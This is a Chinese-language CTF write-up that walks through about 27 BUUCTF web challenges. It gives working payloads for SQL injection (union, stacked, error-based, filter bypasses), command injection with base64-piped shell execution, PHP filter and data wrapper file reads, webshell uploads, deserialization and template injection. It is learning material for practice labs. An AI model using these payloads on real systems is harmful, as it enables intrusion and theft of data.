BUU 2025.9 Writeup
1.SQL注入——万能密码——1’or’1’=’1
2.f12——CET传参
3.文件包含、PHP封装协议
php://filter 的基本使用格式如下:
1 | php://filter/[过滤链]/resource=[目标文件] |
过滤链:由一个或多个过滤器组成,用管道符
|分隔,按顺序执行。resource:指定要处理的目标文件路径(必填参数)。
需要base64输出/?file=php://filter/read=convert.base64-encode/resource=/flag.php(注意:在第一个页面放payload)

4.php代码审计
f12,提示source.php,访问,得php代码
1 |
|

最后payload:/source.php?file=hint.php?/../../../../ffffllllaaaagggg(注意:?和/../)
5.127.0.0.1|ls /
需要了解的知识点:
- ls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)
- cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上。
6.127.0.0.1|ls和空格、符号绕过
1 | 命令中空格被过滤的解决方法: |
方法1:变量拼接字符串——将a的值覆盖,然后进行绕过
构造payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php总之就是用变量拼接成flag
方法2:内联执行:将指定的函数体插入并取代每一处调用该函数的地方。
反引号在linux中作为内联执行,执行输出结果。也就是说cat ls //执行ls输出 index.php 和 flag.php 。然后再执行 catflag.php;cat index.php
构造payload /?ip=127.0.0.1;cat$IFS$9ls
方法3:sh命令来执行:使用 base64 编码的方式来绕过 flag 过滤。
加密命令
echo “cat flag.php” | base64
解密命令并执行echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh然后用$IFS$9代替空格。
构造payload:/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh

7.sql注入——堆叠注入
依次输入:
- 判断是数字型:
1 - 访问数据库:
1;show databases; - 访问表:
1;show tables; - 字段:
1;show columns from FLAG;(但是这道题用:*,1)
8.SQL注入
先用第一题的方法,万能钥匙,得到password

这个password用MD5解码,是1234567890,输入密码后,告诉username不对,爆破(但是这道题从已知password去求username好像不太行)
🔴SQL注入步骤:
- 输入用户名为1
- 爆数据库password=:1’ union select 1,2,database()#——得到数据库名为geek
- 爆表名password=1’ union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#——爆出表名为geekuser
- 爆表名password=1’ union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#——爆出表名为l0ve1ysq1
- 爆列名password=1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’l0ve1ysq1’ #——id,username,password
- 爆数据:
/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23 - 得flag
9.f12+路径访问+bp抓包+php封装
f12,找到路径,访问Archive_room.php
再次f12,访问action.php,没什么,bp抓包一下,出现新的php文件,访问
出现php代码,提示flag.php,访问提示,只是看不到flag,考虑到php封装,
/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
得flag的base64编码,解码得到flag

10.SQL注入
万能密码1”or”1”=”1,得到三个数组的信息,根据第三个数组传入空值
源码中提示sqlmap,试试,能用,出来一个payload,访问,不好使。

最后是我想多了,用最朴素的方法,SQL注入吧
查询3时报错,说明有两个字段
然后想尝试联合查询,结果报错return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
发现过滤了select|update|delete|drop|insert|where|\./i
爆数据库:1’;show databases;#
爆表名:1’; show tables;#
出来两个表:
1’; show columns from words;#
1’; show columns from
1919810931114514;#注意:表名为数字时,要用反引号( ` )包起来查询。发现1919810931114514表中有flag
❗这里有多个方法获得flag,选了两个我能看懂的
方法一:handler命令可以一行一行的显示数据表中的内容
1
1'; handler `1919810931114514` open as `a` ; handler `a` read next;#
方法二:改名
1
1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);#
改名之后,再输入
1' or 1#即可查到flag{e1bcd62c-6de3-4d1d-90a1-10178c1c53f8}
11.http(referer:改网页路径;UA:改浏览器;X-Forwarded-For:改本地地址)
先http://开头访问
f12,源码中发现php文件,访问
提示:It doesn’t come from ‘https://www.Sycsecret.com’,也就是说这个页面得来自https://www.Sycsecret.com,添加referer即可`Referer头用于告诉web服务器,用户是从哪个页面找过来的`
提示Please use “Syclover” browser:请使用“Syclover”浏览器,添加User-Agent:SycloverUser-Agent头用于告诉web服务器用户使用的浏览器和操作系统信息
提示No!!! you can only read this locally!!!:不! !您只能在本地阅读!!!,添加X-Forwarded-For:127.0.0.1

12.文件上传
想上传php木马文件,提示要图片,所以上传jpg文件,但是过滤了<?符号,要换一种木马
创建一个木马文件,以便后续用蚁剑链接
文件内容为:
1 | GIF89a |
注意:可绕过的后缀名检测:php,php3,php4,php5,phtml.pht(这里能用phtml)
上传此文件,然后提示Not image!
用burpsuite抓包,根据提示,修改Content-Type的内容为 image/jpeg
URL地址为:/upload/a.phtml
连接密码为:a
找到flag文件

13.蚁剑
直接使用蚁剑连接

14.文件上传(白名单,bp改文件名)
上传jpg,得到payload,蚁剑不行,bp抓包,改文件名为phtml,成功上传,蚁剑连接

15.SQL注入(双写过滤+直接上传payload)
🔴双写过滤:
/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23
出现回显位置2和3
爆数据库:/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
猜测flag在ctf里
爆表:/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23
查字段名:/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23
flag:/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23
flag{70026891-6918-40d9-aebe-1cf2132a3b5c}
16.php反序列
O:4:”Name”:3:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
/?select=O:4:”Name”:3:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
17.[ACTF2020 新生赛]BackupFile:备份文件上传
扫目录,访问/index.php.bak出源码

- 代码逻辑:需传
key参数,key必须是数字 / 可识别数字的字符串(is_numeric),转整数后与$str(开头为123的字符串)用==比较,相等则出 Flag。 - 关键漏洞:PHP 中
int == 字符串时,字符串取开头连续数字转 int,$str转后为123。 - Payload:URL 后加
?key=123,直接满足所有条件,输出 Flag。
1 | intval()` 是 PHP 中用于**将变量转换为整数**的函数,语法为: |
补充:intval()核心功能:
将输入的 $value(可以是字符串、浮点数、布尔值等)转换为整数,转换规则如下:
- 数字类型(如
123、123.9):直接取整数部分(123.9转成123)。 - 字符串:
- 从字符串开头提取连续数字,遇到非数字字符则停止(如
"123abc"转成123,"abc123"转成0)。 - 若指定
$base(基数,默认 10),可解析对应进制的数字(如intval("11", 2)解析二进制11为十进制3)。
- 从字符串开头提取连续数字,遇到非数字字符则停止(如
- 布尔值:
true转1,false转0。 - 数组 / 对象:通常转成
1(非空)或0(空)。
关键特性:
- 转换失败时返回
0(如无法提取有效数字的字符串)。 - 与
(int)强制转换效果类似,但intval()支持指定基数(更灵活)

18.[RoarCTF 2019]Easy Calc
本题考查WAF绕过,字符过滤,PHP的字符串解析特性
f12看源码

其中encodeURIComponent(…)是将字符串转换为 “可安全作为 URL 参数” 的格式。
$(“#content”).val()相当于 document.getElementById(“content”).value;作用是获取页面中 id="content" 的元素的当前值(通常用于获取输入框、文本域等表单元素的用户输入内容)。
发现WAF说明需要waf绕过(waf主要拦截能直接执行代码或系统命令的函数、符号,防止攻击者注入恶意代码。)
waf绕过方法总结:
发现URL还有calc.php访问出码,符号过滤

结合以上信息,说明要绕过执行命令函数和符号
所以:/calc.php?num=1;var_dump(scandir(chr(47)));
1 | var_dump(scandir(chr(47)))`是一段用于扫描服务器根目录并输出所有文件 / 文件夹列表**的 PHP 代码,在渗透测试中常用于获取服务器目录结构(尤其是寻找`flag`等敏感文件),具体解析如下: |
但是不行,大小写和才分都不行
🪄PHP的字符串解析特性:
- PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
所以:/calc.php? num=1;var_dump(scandir(chr(47))); 出flagg

将flag转换:/flagg——chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
payload:
/calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

19.[极客大挑战 2019]BuyFlag:POST传参和cookie身份认证
打开payflag,发现提示
看源码,代码审计:以post方式传参,money=100000000,password满足等于404,但是不能为数字,所以password等于404+任意字符
所以。POST传password=404a&money=100000000,不行,bp抓包

总结一下需要满足四个条件:前面提示必须是cuit的学生;以post方式传参;money=100000000;password=404a。
所以修改cookie里的user=0为user=1

又提示数字太长,应该是100000000太长,改成1e8,提示不够,改成1e9,出flag

20、[HCTF 2018]admin
是一个登录注册页面,随便注册登录,显示登录成功,但是源码中提示:you ar not admin,所以需要用admin来注册,发现admin不能注册,考虑大小写绕过,不行
发现change源码中有一个地址:https://github.com/woadsl1234/hctf_flask/,(但是我没打开这个网址,复制的),访问是一个flask项目,那就先查看一下路由,在APP目录里找到`routes.py`路由文件
发现代码:
1 | #!/usr/bin/env python |
!代码审计:
这里重点要注意以下strlower()函数,其中调用nodeprep.prepare函数,在代码开头有一行代码:from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep,说明nodeprep是从twisted模块中导入的,利用nodeprep.prepare函数会将unicode字符ᴬ转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a。而值得注意的是strlower()自定义函数被调用了三次,分别是register、login、change,即注册、登陆、修改密码时都会被调用。
思路:
用ᴬdmin注册,后台代码就会调用一次nodeprep.prepare函数,把用户名转换成Admin;修改一次密码,再次调用nodeprep.prepare函数,使用户名由Admin转换为admin,重新登陆,就可以得到flag。

21、[BJDCTF2020]Easy MD5:MD5函数(ffifdyop),md5弱比较
https://github.com/BjdsecCA/BJDCTF2020
通过提示,本题应该是MD5,bp抓包,提示select * from user where username =’admin’ and password =md5($pass,ture)
知识点:
SQL 查询语句的提示,原始的查询语句 select * from ‘admin’ where password =md5($pass,true) (注意:MD5 函数第二个参数在不同数据库意义不同,在 MySQL 里 MD5() 函数只接受一个参数)
这个 SQL 语句的目的是从名为 admin 的表中查询出 password 字段值等于对变量 $pass 进行 MD5 哈希处理后结果的所有记录。
SQL 注入风险:
原理:如果在实际应用中,$pass 是用户输入的内容,且没有经过严格的过滤和转义,可以通过构造特殊的输入来改变 SQL 语句的原意,从而实现 SQL 注入攻击。
1 |
|
例如:
可以构造如下的 pass 参数:
' OR '1'='1最终的 SQL 语句会变成:
SELECT * FROM admin WHERE password = MD5('' or '1'='1')由于 ‘1’=’1’ 永远为真,这个查询会返回 admin 表中的所有记录,可能借此绕过登录验证或者获取敏感信息。
当’or’后的值为True时,可实现SQL注入
md5函数:
md5 函数通常用于计算输入字符串的 MD5 哈希值。md5(string, raw) 这种形式的函数调用中,string 是需要进行哈希计算的输入字符串,而 raw 是一个布尔类型的参数,用于指定返回的哈希值的格式。
string:这是必需的参数,代表要进行 MD5 哈希计算的原始字符串数据。可以是任意长度的文本信息,例如用户密码、文件内容等。
raw:这是一个可选参数,不同编程语言对该参数的处理和含义可能有所不同,但一般来说:当 raw 为 true 或者类似表示真的值时,函数会返回原始的 128 位(16 字节)二进制格式的哈希值。当 raw 为 false 或者类似表示假的值时,函数会返回以 32 位十六进制字符串形式表示的哈希值。
在 PHP 里,md5() 函数的第二个参数用于指定是否返回原始二进制数据
1 |
|
在上述代码中,当第二个参数为 false 时,得到的是常见的 32 位十六进制字符串;当为 true 时,得到的是 16 字节的二进制数据。
❣️ffifdyop字符串md5加密后若raw参数为True时会返回 'or'6<trash> (<trash>
❣️类似的字符串还有:129581926211651571912466741651878684928
只要第一位是非零数字会被判定为True,<trash>会在MySQL将其转换成整型比较时丢掉
后端的SQL语句:select * from admin where password=''or'6<trash>'
所以:直接输入ffifdyop,点击提交

源代码,传参,md5:/?a=s878926199a&b=s155964671a

出代码,在POST传参,md5:param1[]=1¶m2[]=2,出flag

22、[MRCTF2020]你传你🐎呢:.htaccess配置文件上传
(可恶,这么简单的上传,我竟然没考虑到!!!)
上传.htaccess配置文件,bp抓包,改image/png,成功上传

再上传图片马,上传成功

蚁剑连接
flag~

23、[2018]easy_tornado:render渲染函数,tornado模版
【攻防世界】easytornado - Antoniiiia - 博客园
打开发现三个文件,分别打开
/flag.txt:flag in /fllllllllllllag
/welcome.txt:render
/hints.txt:md5(cookie_secret+md5(filename))

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 ,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。- 在
tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量
先用:/error?msg={{1*2}},页面报错,返回ORZ,说明无法正常执行,被过滤了
所以构造payload:/error?msg={{handler.settings}}(原因见上)

得到cookie_secret:462ef246-6d5f-4276-8661-ac712d308973
md5(/fllllllllllllag):3bf9f6cf685a6dd8defadabfb41a03a1
所以;md5(cookie_secret+md5(filename))=4be0bbebabceca8dec0d743f128be775
因为之前每一个文件打开都是/file?filename=/fllllllllllllag&filehash=…………………,所以fliehash=md5(cookie_secret+md5(filename))
所以:payload为:/file?filename=/fllllllllllllag&filehash=4be0bbebabceca8dec0d743f128be775
flag~

24、[ZJCTF 2019]NiZhuanSiWei:反序列化+PHP伪协议
1 |
|
代码审计:
有这样一行代码isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf",我们需要传入一个内容为welcome to the zjctf的文件。
data协议:
这时就要用到data协议,data协议通常是用来执行PHP代码,也可以将内容写入data协议中,然后让file_get_contents函数取读取。构造:data://text/plain,welcome to the zjctf,为了绕过某些过滤,这里用到base64编码。构造payload:?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

然后有一个可控参数file,构造file=useless.php,但是针对php文件我们需要进行base64编码,否则读取不到其内容,所以构造payload:file=php://filter/read=convert.base64-encode/resource=useless.php。
所以payload为:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
得到base64编码

1 | PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo |
1 | //运行以下php代码 |
故最后payload为(test,file,password三个参数):
/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源代码出:

25、[MRCTF2020]Ez_bypass
打开出代码,解读如下:
1 |
|
最终Payload
URL:
1 | http://target.com/?id[]=1&gg[]=2 |
POST Data:
1 | passwd=1234567a |
flag~
26、[极客大挑战 2019]HardSQL:报错注入
经测试,一些and、union、select、空格等常见的SQL语句被过滤了
1 | updataxml()函数用法: |
/check.php
1 | //爆库名:?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=111 |

flag{288d5897-8ca4-47b5-a4b4-fa86087aef09}(注意重复的地方要去掉)
27、[网鼎杯 2020 青龙组]AreUSerialz:php反序列化
1 |
|
代码审计,写php代码:
1 |
|
php代码分析:
1.为什么属性设为 public?
- 问题:原代码使用
protected属性,序列化后包含 NULL 字节 (%00*%00) - 限制:
is_valid()函数过滤 ASCII < 32 的字符(包括 NULL 字节) - 解决方案:改用
public属性,序列化后不包含特殊字符
2.为什么 $op = 2?
1 | // __destruct() 中的检查(严格比较) |
- 利用类型混淆:整数
2满足松散比较但绕过严格比较
3.为什么使用 php://filter?
1 | "php://filter/read=convert.base64-encode/resource=flag.php" |
- 问题:直接读
.php文件只会看到执行结果(空白) - 解决方案:用 filter 包装器获取 Base64 编码的源码
- 优势:能看到完整的 PHP 代码,包括
$flag变量定义
4.为什么 $content = null?
- 优化:
read()方法不需要content属性 - 简洁:序列化后更短(
N表示 null) - 安全:避免不必要的复杂度

payload:
1 | ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;} |
传参,得base64编码,解码
1 | <script language="php">echo file_get_contents("/flag");</script> |
1 | <script language="php">echo file_get_contents("/flag");</script> |